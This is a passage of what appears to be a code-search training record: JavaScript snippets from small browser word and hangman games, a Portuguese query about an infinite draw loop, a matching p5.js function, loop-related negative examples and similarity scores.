//console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\\n \\n}\",\n \"function clock() {\\n timeElapsed = timeElapsed + letterTime;\\n if (!flipped) {\\n lettersShow = lettersShow + 1;\\n flipped = (lettersShow >= currentWord.length)\\n }else{\\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\\n lettersShow = lettersShow - 1;\\n \\n if (lettersShow == 0) {\\n flipped = false;\\n timeElapsed = 0;\\n changeWord();\\n }\\n }\\n }\\n\\n $('#anim-text').text(function(i,t) {\\n return currentWord.substr(0,lettersShow);\\n })\\n }\",\n \"function printToPage(randomWord) {\\n myWord = randomWord.word;\\n // concatenate array to Str for printing on one line\\n var myStr = '';\\n console.log(myWord);\\n for (var i = 0; i < myWord.length; i++){\\n if (correctGuesses.includes(myWord[i])) {\\n myStr += (\\\" \\\" + myWord[i] + \\\" \\\");\\n }\\n else {\\n myStr += (\\\" _ \\\");\\n }\\n };\\n console.log('\\\\n' + myStr + '\\\\n');\\n if (correctGuesses.length == myWord.length) {\\n console.log(\\\"GG bro\\\");\\n }\\n else {\\n promptUser();\\n };\\n \\n}\",\n \"function draw() {\\n if (lives <= 0) {\\n ctx.clearRect(0, 0, canvas.width, canvas.height);\\n ctx.font = \\\"60px Arial\\\";\\n ctx.fillStyle = \\\"red\\\";\\n ctx.fillText(\\\"Game Over\\\", position, canvas.height / 2);\\n return;\\n }\\n\\n /* user type in the word that is being display */\\n\\n let typeWord = wordInput.value.toLowerCase();\\n ctx.clearRect(0, 0, 400, 400);\\n movingBackground();\\n wordFalls();\\n score();\\n lifeLine();\\n if (typeWord === wordArr[randomIndex]) {\\n projectile();\\n }\\n window.requestAnimationFrame(draw);\\n }\",\n \"function renderGame() {\\n // If there are still more words in the array, set the display and write it to the page\\n if (currentIndex <= (secretWords.length - 1)) {\\n secretWord = secretWords[currentIndex];\\n display = repeatChar(secretWord.length, '_');\\n tries = 0;\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Guess the bread: \\\" + display;\\n document.querySelector(\\\"#wins\\\").innerHTML = \\\"Total Wins: \\\" + wins;\\n }\\n // If the supply of breads has been exhausted, render the end game screen.\\n else {\\n document.querySelector(\\\"#progress\\\").innerHTML = \\\"Game Over!\\\";\\n document.querySelector(\\\"#results\\\").innerHTML = \\\"Refresh the page to play again.\\\";\\n document.querySelector(\\\"#wins\\\").innerHTML = \\\"Total Wins: \\\" + wins;\\n }\\n}\",\n \"function showWord(words){\\n\\n //Generate randow array index\\n const randIndex = Math.floor(Math.random() *words.length);\\n //Output random word\\n currentWord.innerHTML=words[randIndex];\\n}\",\n \"function game() {\\n //hide words\\n //$(\\\".fiveWords\\\").hide(); //removed because the letters need to show when new game starts\\n \\n //move words --alec\\n myMove(\\\"1\\\");\\n myMove(\\\"2\\\");\\n myMove(\\\"3\\\");\\n myMove(\\\"4\\\");\\n myMove(\\\"5\\\");\\n \\n}\",\n \"function displayEndScreen() {\\n //display image\\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\\n //Set text size in push-pop\\n push();\\n textSize(19);\\n //If player hits zero kids, display this\\n if (player.sentence === 0) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours and you did it \\\\nwithout bumping into children! \\\\nAmazing job, Hieronymous! Back to \\\\nloitering!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n //If player hits less than three kids, display this\\n } else if (player.sentence < 107) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours \\\\nand you only added \\\" + player.sentence + \\\" days \\\\n to your community service!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n } else {\\n //otherwise, display this message\\n text(\\\"It took you \\\" + player.timeSpent + \\\" hours... \\\\n...but holy crap Hieronymous you added \\\" + player.sentence + \\\" days \\\\nto your community service. Embarrassing.\\\", 0 + windowWidth / 20, windowWidth / 5);\\n }\\n pop();\\n\\n}\",\n \"function drawGame(word, letters) {\\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\\n}\",\n \"function showNewWord(){\\n// document.getElementById(\\\"wordToType\\\").innerHTML=\\\" \\\";\\n $(\\\"#wordBox\\\").val(\\\"\\\");\\n// $(\\\"#wordToType\\\").html(words[index][0]);\\n if (words.length === alreadyUsed.length){\\n endGame();\\n }\\n console.log(\\\"choosing word\\\");\\n chooseWord();\\n document.getElementById(\\\"wordToType\\\").innerHTML= words[index][0];\\n\\n }\",\n \"function startGame(){\\r\\n\\t \\r\\n\\t let dumDumDum = [];\\r\\n\\t for( iii=0; iii < randomWord.length ; iii++){\\t\\t\\t\\r\\n\\t\\t\\tdumDumDum.push(\\\"_\\\");\\r\\n\\t } \\r\\n\\t// Change the game textcontents to starting values\\r\\n\\tdocument.querySelector(\\\".the_word\\\").innerHTML =\\\"The word: \\\"+dumDumDum+\\\" \\\";\\r\\n\\tdocument.querySelector(\\\".guesses\\\").innerHTML =\\\"Guesses: \\\";\\r\\n\\tdocument.querySelector(\\\".guesses_left\\\").innerHTML =\\\"Wrong guesses left: \\\"+livesLeft+\\\" \\\"; \\t \\r\\n }\",\n \"drawSecretWord() {\\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\\n for (let i = 0; i < GAME.secretWord.length; i++) {\\n const element = GAME.secretWord[i];\\n if(str_replace(from,to,element) === PLAYER.guess) {\\n PLAYER.guessStatus = true\\n GAME.answerArray[i] = element\\n }\\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\\n ctx.beginPath()\\n ctx.font = \\\"32px calibri\\\"\\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\\n ctx.closePath()\\n }\\n }\",\n \"function displayGameOver() {\\n push();\\n textAlign(CENTER,CENTER);\\n textSize(60);\\n fill(0,0,0);\\n stroke(255,0,0);\\n textFont(fontGame);\\n text(\\\"Your artistic experience is terminated \\\\n sorry Warhol \\\\n \\\\n REFRESH to play again :)\\\",width/2,height/2);\\n pop();\\n}\",\n \"function startGame() {\\n // Randomly selecting a word from our array\\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\\n // creating a new word object with the random word\\n wordConstructed = new Word(wordUsedForGame);\\n // calling the renderWord function to push the letters into the word\\n wordConstructed.renderWord();\\n\\n console.log(\\\"\\\\n\\\");\\n console.log(\\\"Guess The Word. You have 7 chances to get it Right!!!\\\");\\n console.log(\\\" Hint: The Words are computer Languages \\\\n\\\");\\n\\n // Displaying the dashes based on the word selected using the Word display function \\n // they will be dashes because the guessed is set to false\\n console.log(wordConstructed.display());\\n console.log(\\\"\\\\n\\\");\\n\\n // calling askLetters to run the game\\n askLetters();\\n\\n\\n}\",\n \"function startGame() {\\n wrongGuesses = ' ';\\n allGuesses = \\\"\\\";\\n currentDisplay = [];\\n //Randomly selects a word from the array wordList\\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \\n // Put the selected word into an array\\n word = wordString.split(''); \\n guessRemain = wordString.length; \\n for (var i = 0; i < guessRemain; i++){\\n currentDisplay[i] = \\\"_\\\"; \\n //displays the game\\n }\\n displayGame(); \\n }\",\n \"function startGame() {\\n renderNewWord();\\n startBar();\\n }\",\n \"function wordplay() {\\n librarycall()\\n play = new Word(choice);\\n plays = 10\\n alphaArr = [\\\"a\\\", \\\"b\\\", \\\"c\\\", \\\"d\\\", \\\"e\\\", \\\"f\\\", \\\"g\\\", \\\"h\\\", \\\"i\\\", \\\"j\\\", \\\"k\\\", \\\"l\\\", \\\"m\\\", \\\"n\\\", \\\"o\\\", \\\"p\\\", \\\"q\\\", \\\"r\\\", \\\"s\\\", \\\"t\\\", \\\"u\\\", \\\"v\\\", \\\"w\\\", \\\"x\\\", \\\"y\\\", \\\"z\\\"]\\n omegaArr = []\\n console.log(play.fullDisplay());\\n console.log(\\\"Tries left = \\\" + plays);\\n testletter()\\n}\",\n \"function stepWord() {\\n word++;\\n syllable = 0;\\n process.stdout.write(\\\" \\\");\\n}\",\n \"function start()\\n{\\ndocument.getElementById(\\\"two\\\").style.marginTop=\\\"20%\\\";\\n\\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\\n\\ndocument.getElementById(\\\"two\\\").innerHTML =obj.spellings[x].word;\\n\\nsetInterval(function() {game()},4000); // changing word after every 3 se....\\n}\",\n \"function endLose(word) {\\n console.log(\\\"You lose. The word was:\\\");\\n showWord(word);\\n}\",\n \"function draw() {\\n\\n noStroke();\\n fill(255);\\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \\n // i MEANS THE FIRST LETTER OF THE sentence \\n\\n for (let i = 0; i < words.length; i++) {\\n // appearing over time...\\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \\n\\n if (frameCount > i * 100) {\\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \\n \\n if (i > 0) {\\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\\n }\\n fill(255);\\n text(words[i], wordMarginLeft + extraSpace, 20);\\n }\\n }\\n \\n \\n}\",\n \"function drawHangman() {\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"currentWord\\\").innerText = \\\"\\\";\\n\\n for (let i = 0; i < guessingWord.length; i++) {\\n document.getElementById(\\\"currentWord\\\").innerText += guessingWord[i];\\n }\\n document.getElementById(\\\"remainingGuesses\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n if (remainingGuesses <= 0) {\\n document.getElementById(\\\"gameover-image\\\").style.cssText = \\\"display: block\\\";\\n document.getElementById(\\\"pressKeyTryAgain\\\").style.cssText =\\n \\\"display: block\\\";\\n hasFinished = true;\\n }\\n}\",\n \"function gameStart() {\\n resetCounters();\\n generateRandomWord();\\n hideTheWord(); \\n document.getElementById(\\\"guesses\\\").innerHTML = guessesLeft;\\n // Make variable to track letters to be guessed\\n var lettersLeft = randWord.length;\\n console.log(randWord);\\n\\n setupKeyLogging();\\n \\n document.getElementById(\\\"wins\\\").innerHTML = wins;\\n \\n \\n\\n\\n removeHandler(); \\n}\",\n \"function writeWord(){\\n var letterOrDash = \\\"\\\";\\n var allLettersGuessed = true;\\n\\n for(var i=0; i `\\n \\n ${correctLetters.includes(letter) ? letter : '' }\\n \\n `\\n )\\n .join('')\\n }\\n `;\\n // TO check -> console.log(word.innerText);\\n // To chack -> console.log(wordText);\\n const wordText = word.innerText.replace(/\\\\n/g, '');\\n if(wordText === selectedWord) {\\n message.innerText = 'You Won!';\\n popup.style.display = 'flex';\\n }\\n}\",\n \"function renderEndGameText() {\\n gameBackground.zIndex = 45;\\n sortZindex(gameScreen);\\n longBoard.visible = true;\\n endText.visible = true;\\n endText.speed = END_TEXT_SPEED;\\n endGameSelected = true;\\n}\",\n \"function displayWord() {\\n wordElement.innerHTML = \\n `${selectedWord\\n .split('')\\n .map(letter =>\\n `\\n ${correctLetters.includes(letter) ? letter : ''}\\n `\\n ).join('')}`;\\n \\n //console.log(wordElement.innerText);\\n \\n //Remove New Line Character \\n const innerWord = wordElement.innerText.replace(/\\\\n/g, '')\\n //console.log(innerWord); \\n\\n if (innerWord === selectedWord) {\\n finalMessage.innerText = 'You Won!';\\n popUp.style.display = 'flex';\\n }\\n}\",\n \"function displayWord(array){\\n word = array[Math.floor(Math.random() * array.length)];\\n var display = document.getElementById(\\\"display\\\");\\n display.innerText = word;\\n}\",\n \"function gameOver() {\\n background(0);\\n fill(255, 0, 0);\\n textFont(myFont, 80);\\n textAlign(CENTER);\\n text(\\\"LOSER\\\", 400, 200);\\n textSize(32);\\n text(\\\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\\\", 400, 270);\\n text(\\\"YOU HAVE DONE THE WRONG THING!\\\", 400, 285);\\n text(\\\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\\\", 400, 300);\\n text(\\\" TO THE DYING PERSON FIRST.\\\", 400, 315);\\n text(\\\"BETTER LUCK NEXT TIME.\\\", 400, 330);\\n textSize(40);\\n text(\\\"REFRESH THE PAGE TO PLAY AGAIN\\\", 400, 485);\\n}\",\n \"startGame() {\\r\\n $(\\\"#overlay\\\").hide();\\r\\n this.activePhrase = this.getRandomPhrase();\\r\\n this.activePhrase.addPhraseToDisplay();\\r\\n }\",\n \"function showTheWord() {\\n // get random word then store it in the global var theWord\\n theWord = getRandomWord().split(''); // make it into array\\n\\n // place underscore referencing the number of letters\\n for (var i = 0; i < theWord.length; i++) {\\n $(\\\"#letterHolder\\\").append($(\\\"_\\\"));\\n }\\n }\",\n \"function showGameOver() {\\n gameSound.pause();\\n textSize(60);\\n textAlign(CENTER,CENTER);\\n fill(243,231,45);\\n var gameOverText = \\\"GAME OVER\\\\n\\\";\\n gameOverText += \\\"You caught \\\" + snitchEaten + \\\" snitch\\\\n\\\";\\n gameOverText += \\\"before you died.\\\"\\n text(gameOverText,width/2,height/2);\\n}\",\n \"function startGame()\\n{\\n\\t//selects random word\\n\\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\\n\\ttargetWordArray = targetWord.split(\\\"\\\");\\n\\t//transforms word to an array of dashes\\n\\tfor(i=0; i=10) {\\n wordz+=\\\"\\\\n YOU WIN\\\";\\n\\n} else {\\n wordz+=\\\"\\\\n YOU LOSE\\\";\\n}\\n words = wordz;\\n}\",\n \"function newWord(){\\n var wordBank = [\\\"susie\\\", \\\"transmogrifier\\\", \\\"spacemanspiff\\\",\\\"gross\\\", \\\"calvinball\\\", \\\"stupendousman\\\", \\\"tracerbullet\\\", \\\"toboggan\\\", \\\"duplicator\\\", \\\"misswormwood\\\", \\\"hamsterhuey\\\", \\\"gooeykablooie\\\"];\\n console.log(wordIndex)\\n console.log(wordBank.length)\\n if(wordIndex >= wordBank.length){\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n updateField(\\\"message-text\\\", \\\"Aww shucks, we're all out of words
    You got \\\"+wins+\\\" out of \\\"+wordBank.length+\\\" right!\\\");\\n return;\\n }\\n currentWord=wordBank[wordIndex];\\n wordDisplay.innerHTML = createDisplay(currentWord);\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n //upddate message board\\n updateField(\\\"message-text\\\", \\\"Next Word!\\\")\\n //resetting parameters\\n guessedArray = [\\\"\\\"];\\n updateLettersGuessedField();\\n guessesLeft = 6\\n updateField(\\\"guesses-left\\\",guessesLeft);\\n lettersCorrect = 0;\\n //reset stopGame\\n stopGame = false; \\n}\",\n \"function wordGame(){\\n\\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\\n \\n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\\n \\n letters=[\\\"A\\\",\\\"B\\\",\\\"C\\\",\\\"D\\\",\\\"E\\\",\\\"F\\\",\\\"G\\\",\\\"H\\\",\\\"I\\\",\\\"J\\\",\\\"K\\\",\\\"L\\\",\\\"M\\\",\\\"N\\\",\\\"Ñ\\\",\\\"O\\\",\\\"P\\\",\\\"Q\\\",\\\"R\\\",\\\"S\\\",\\\"T\\\",\\\"U\\\",\\\"V\\\",\\\"W\\\",\\\"X\\\",\\\"Y\\\",\\\"Z\\\"]\\n\\n for(let i=0;i';\\n document.getElementById(\\\"letter\\\" + i).innerHTML = \\\"_ \\\";\\n }\\n return randomWord;\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.735485","0.7281575","0.72742707","0.7265616","0.7172165","0.7069368","0.70655465","0.70403314","0.7035831","0.70275617","0.7018534","0.69981015","0.69899875","0.697977","0.69433796","0.6937526","0.6928103","0.6922864","0.69144416","0.6908628","0.6903575","0.6901666","0.68898153","0.68832606","0.68733126","0.6861113","0.6852572","0.6834979","0.6834087","0.6833765","0.6826422","0.68052906","0.68024933","0.6799191","0.67861027","0.6775891","0.67629296","0.6755508","0.6754186","0.6751982","0.67414206","0.67362714","0.673457","0.6723202","0.6716667","0.67103976","0.6705182","0.66994","0.6698914","0.6689129","0.66857684","0.6685386","0.6683297","0.6676819","0.667315","0.66730005","0.6659709","0.6650039","0.66466266","0.6637581","0.6634507","0.66265446","0.66251063","0.6612768","0.66101176","0.66087776","0.66068274","0.6602084","0.65974504","0.6594455","0.65825164","0.6578371","0.65782714","0.65733844","0.6572039","0.65711343","0.6570692","0.65695727","0.656581","0.6565796","0.6553978","0.65452373","0.65439034","0.65426886","0.65384567","0.6532182","0.6526582","0.65257335","0.6515874","0.65133","0.65033925","0.6503321","0.64992535","0.64943904","0.64875805","0.6487421","0.6485651","0.6470109","0.64676327","0.6467127"],"string":"[\n \"0.735485\",\n \"0.7281575\",\n \"0.72742707\",\n \"0.7265616\",\n \"0.7172165\",\n \"0.7069368\",\n \"0.70655465\",\n \"0.70403314\",\n \"0.7035831\",\n \"0.70275617\",\n \"0.7018534\",\n \"0.69981015\",\n \"0.69899875\",\n \"0.697977\",\n \"0.69433796\",\n \"0.6937526\",\n \"0.6928103\",\n \"0.6922864\",\n \"0.69144416\",\n \"0.6908628\",\n \"0.6903575\",\n \"0.6901666\",\n \"0.68898153\",\n \"0.68832606\",\n \"0.68733126\",\n \"0.6861113\",\n \"0.6852572\",\n \"0.6834979\",\n \"0.6834087\",\n \"0.6833765\",\n \"0.6826422\",\n \"0.68052906\",\n \"0.68024933\",\n \"0.6799191\",\n \"0.67861027\",\n \"0.6775891\",\n \"0.67629296\",\n \"0.6755508\",\n \"0.6754186\",\n \"0.6751982\",\n \"0.67414206\",\n \"0.67362714\",\n \"0.673457\",\n \"0.6723202\",\n \"0.6716667\",\n \"0.67103976\",\n \"0.6705182\",\n \"0.66994\",\n \"0.6698914\",\n \"0.6689129\",\n \"0.66857684\",\n \"0.6685386\",\n \"0.6683297\",\n \"0.6676819\",\n \"0.667315\",\n \"0.66730005\",\n \"0.6659709\",\n \"0.6650039\",\n \"0.66466266\",\n \"0.6637581\",\n \"0.6634507\",\n \"0.66265446\",\n \"0.66251063\",\n \"0.6612768\",\n \"0.66101176\",\n \"0.66087776\",\n \"0.66068274\",\n \"0.6602084\",\n \"0.65974504\",\n \"0.6594455\",\n \"0.65825164\",\n \"0.6578371\",\n \"0.65782714\",\n \"0.65733844\",\n \"0.6572039\",\n \"0.65711343\",\n \"0.6570692\",\n \"0.65695727\",\n \"0.656581\",\n \"0.6565796\",\n \"0.6553978\",\n \"0.65452373\",\n \"0.65439034\",\n \"0.65426886\",\n \"0.65384567\",\n \"0.6532182\",\n \"0.6526582\",\n \"0.65257335\",\n \"0.6515874\",\n \"0.65133\",\n \"0.65033925\",\n \"0.6503321\",\n \"0.64992535\",\n \"0.64943904\",\n \"0.64875805\",\n \"0.6487421\",\n \"0.6485651\",\n \"0.6470109\",\n \"0.64676327\",\n \"0.6467127\"\n]"},"document_score":{"kind":"string","value":"0.6786421"},"document_rank":{"kind":"string","value":"34"}}},{"rowIdx":13,"cells":{"query":{"kind":"string","value":"Desenha LOOP Infinito while (1)"},"document":{"kind":"string","value":"function draw() {\n background(0,0,0);\n vitorioso();\n if(!(placarPlayerUm >= 10 || placarPlayerDois >=10)){\n jogo();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function loopInfinito() {\n while (true) { }\n}","function loop() {\r\n}","function loop() {\r\n // if (is_loop) {\r\n setTimeout(manage_loop, manager.interval);\r\n // is_loop = false;\r\n // }\r\n }","function cambiarEstiloAuto() {\n let contador = 0;\n while(contador < 10){\n cambiarEstilo();\n contador++;\n }\n}","loop() {}","loop() {}","function infinteLoop() {\n while (true) {\n }\n}","function executarLooping() {\n moverFundo()\n moverHelicopteroInimigo()\n moverCaminhao()\n moverJogador()\n moverAliado()\n detectarColisoes()\n mostrarPlacar()\n atualizarEnergia()\n}","function infiniteLoop() {\n while (true) {\n console.log('loop');\n }\n }","function jogar(){\r\n //o jogo continuará até que alguém destrua completamente os navios do adversário\r\n //testa após cada jogada se o número de pontos foi atingido\r\n while (true){\r\n jogadorJoga();\r\n console.log(\"O computador tem \"+naviosComputador);\r\n if (pontosJogador == naviosComputador){\r\n console.log(nome+\" ganhou! Parabéns!\");\r\n break;\r\n }\r\n else {\r\n computadorJoga();\r\n if (pontosComputador == naviosJogador){\r\n console.log(\"Computador ganhou! Tente novamente, \"+nome);\r\n break;\r\n }\r\n };\r\n }\r\n}","function loop() {\n moveFundo();\n moveJogador();\n moveInimigo1();\n moveInimigo2();\n moveInimigo3();\n moveInimigo4();\n moveEstrela();\n colisao();\n placar();\n energia();\n }","noLoop() {\r\n\t\t\tthis.looping = false;\r\n\t\t}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function cambio(){\n\n\t// for(var i=0; i<10; i++){\n\t// \tconsole.debug('hola '+i);\n\t// }\n\tvar i=0;\n\twhile(i<10){\n\t\tconsole.debug('hola '+i);\n\t\ti++;\n\t}\n}","function contadorWhile1() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Enquanto o valor (contador) for menor que 5\n while (contador <= 5) {\n\n // Mostra o valor na tela\n document.querySelector('#contadorW1').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n // contador = contador + 1;\n // contador += 1;\n }\n}","function whileLoop(n){\nwhile ( 0 < n ){\n console.log(--n);\n}\nif (n <= 1 ){\nreturn 'done';\n }\n}","function cicloWhile() {\n\n while (confirm(\"Desea Continuar?\")) {\n alert(\"THis is a cycle while\")\n }\n}","function startLoop() {\n\tisrunnning = true;\n}","function doWhileLoop(x)\n{\n x--;\n do \n {\n console.log(\"I run once regardless\");\n } while(x-- > 0);\n}","function infiniteLoop() {\r\n while (true) {\r\n }\r\n}","function main(){\r\n\tcur_t = 0\r\n\tkill_step = poisson(kill_step);\r\n\tcount_step = 0;\r\n\t//do {\r\n\tvar times = setInterval(function(){\r\n\t\tif (cur_t == steps) clearInterval(times);\r\n\r\n\t\tvar temp = couple_logistic_possison(pop, params, steps);\r\n\t\tif (count_step == kill_step){\r\n\t\t\tcata(kill_percentage, pop);\r\n\t\t\tkill_step = poisson(kill_step);\r\n\t\t\tcount_step = 0;\r\n\t\t}\r\n\r\n\t\tshow_graphics(temp);\r\n\r\n\t\tcur_t += 1;\r\n\t\tcount_step += 1;\r\n\t\treturn temp;\r\n\t\t}, 35);\r\n\t//} while (cur_t < steps)\t\r\n}","function mainLoop( ) {\n\n\n let segundos = 5;\n let tiempo = segundos * 1000;\n\n\n console.log('Intervalo de '+ segundos );\n console.log('Perioodo: ');\n\n\n REALTIME.actualizarREALTIME( );\n\n setInterval((tiempo) => {\n console.log('-------------------------------------------------------');\n console.log('Intervalo de REALTIME '+ segundos );\n console.log('PERIODO');\n REALTIME.actualizarREALTIME( );\n }, tiempo )\n\n}","function loopForever() {\n while (true) { }\n}","function checkLoop() {\n if (config.loopState) {\n loop();\n } else {\n noLoop();\n }\n }","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function contadorWhile2() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Guarda o número informado na tela\n const numeroInformado = document.querySelector('#numInformadoW2').value;\n\n // Enquanto o contador for menor que o número informado na tela\n while (contador <= numeroInformado) {\n // Mostra o valor na tela\n document.querySelector('#contadorW2').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n }\n}","function loopDetect() {\n \n}","loop() {\n let stop = false;\n while (!stop) {\n //Creates a thread for every single agent\n Object.values(this.agents).forEach(agent => {\n if (!this.problem.goalTest(this.data)) {\n // aqui el agente recibe las persepciones\n agent.receive(this.problem.perceptionForAgent(this.getData(), agent.getID()));\n //guarda el accion\n let action = agent.send();\n this.actions.push({ agentID: agent.getID(), action });\n //actuliza el problema\n this.problem.update(this.data, action, agent.getID());\n //mira si termino el problema\n if (this.problem.goalTest(this.data)) {\n stop = true;\n } else {\n if (this.callbacks.onTurn)\n //es un callback que muestra la posicion en la que esta callbacks\n this.callbacks.onTurn({ actions: this.getActions(), data: this.data });\n }\n }\n });\n }\n this.finishAll();\n }","function hello(){\n\nlet angka = 1;\nwhile(angka <= 5){\nconsole.log(\"hai\" + \" \" + angka + \"x\");\nangka++;\n }\n}","function generalLoop(){\r\n\r\n\tif ((new Date()).getTime() - timeObj < 3 ) {\t\t\r\n\t\treturn;\t\t\r\n\t}//fi\r\n\tif (currentState == 3) {\r\n\t\tupdateDisplay();\r\n\t\ttimeObj = (new Date()).getTime();\r\n\t}//fi\r\n\r\n\t\r\n\r\n}//end listener\t","function intWhile (){\n var i = 2000;\n while (i <= 5280){\n console.log(i);\n i++;\n }\n}","function PrintI(){\n var num = 2000;\n while(num < 5281){\n console.log(num);\n num++;\n }\n}","function loops6 () {\n console.log('#6 Logging 1 to 1000 with a do...while loop: ');\n var i = 1;\n do {\n console.log(i);\n i++;\n } while (i < 1001);\n}","function testWhileLoop() {\n var counter = 0;\n while (counter <= 10) {\n console.log(counter);\n counter++;\n }\n}","function devilLoop(){\n GMvariables.devil = setInterval(() => {\n changePositionOfElement()\n if(GMvariables.live<1){\n deviElementHide();\n clearInterval(GMvariables.devil);\n }\n }, GMvariables.interval);\n // console.log(\"from loop = \" + interval);\n}","function get_data_loop()\r\n{\r\n if(!ansvers){\r\n \tget_data();\r\n \tansvers = 1;\r\n }\r\n \tsetTimeout(\"get_data_loop()\",10000);\r\n}","function infiniteLoop() {\n while (true) { }\n}","function whileLoop(x)\n{\n while (x>0)\n {\n console.log(x--);\n }\n \n return \"done\";\n}","function a2() {\n let i = 9; // Variablen-Initialisierung. Name i, Typ number, Wert 9.\n do { /* do-while-Schleife --> Wird auf jeden Fall einmal die Anweisungen im Rumpf ausführen,\n bevor die Bediengung auf true überprüft wird und den Rumpf weiter ausführt und dies dann genau so lange, bis die Bediengung false wird. */\n console.log(i); // Konsolenausgabe der lokalen Variable i.\n i = i - 1; // Der Variablen i wird ein neuer Wert zugewiesen: Und zwar ihr eigener minus Eins.\n } while (i > 0); // Schleifenbedingung: \"Solange die Variable i größer als 0 ist, dann führe die Anweisungen im Rumpf aus.\"\n}","function loop() {\n if (!avatar.dead) {\n //obtener propiedades de elementos\n bcr.getBCR(playground, adventurer, ip, life);\n //aumentar distancia e imprimirla\n distCounter++;\n printDist(distCounter, previousDistance, dist);\n //salto personaje\n avatar.jumping(joystick, adventurer);\n //controlar que no pase del piso\n avatar.checkFloor(bcr.plgrBCR, groundHeight, adventurer);\n adventurer.style.top = avatar.y + \"px\";\n //chequear colisiones\n\n if (avatar.collision(bcr.advtBCR, bcr.impBCR)) {\n if (avatar.life > 0) {\n avatar.hurt(life);\n //console.log(avatar.life);\n myID = requestAnimationFrame(loop);\n } else {\n avatar.death(adventurer);\n ip.style.animationIterationCount = \"1\";\n if (distCounter > previousDistance) {\n previousDistance = distCounter;\n }\n front.style.background=\"url('../img/end.png')\";\n inicio.style.display = \"inline\";\n setTimeout(() => {\n front.style.display=\"inline\";\n }, 2000);\n cancelAnimationFrame(myID);\n }\n } else {\n if (bcr.impBCR.left < 145) {\n speed *= 0.99;\n ip.style.animation = \"anRB 0.8s steps(8) infinite, anR 4s steps(400) infinite\";\n }\n myID = requestAnimationFrame(loop);\n }\n }\n }","function loops4 () {\n console.log('#5 Logging 1 to 1000 with a while loop: ');\n var i = 1;\n while (i < 1001) {\n console.log(i);\n i++;\n }\n}","function loop() {\n if( DateForCycle.getTime() < beginTime ) {\n\n \n bigDay ^= true;\n setDate(DateForCycle, function(){\n commit(function() {\n if(bigDay) {\n commit(setNextDay);\n } else {\n setNextDay();\n\n }\n })\n });\n } else {\n exec('git remote add origin '+rep+' && git push -u origin master -f', function(){\n });\n\n }\n }","function whileDemo([n]) {\r\n let health = 100;\r\n while (health > 0) { // its not depend on counter\r\n \r\n // walk\r\n // take damage\r\n // headshot\r\n }\r\n}","_setupLoop () {\n this._time = 0\n this._loop()\n }","function startLoop() 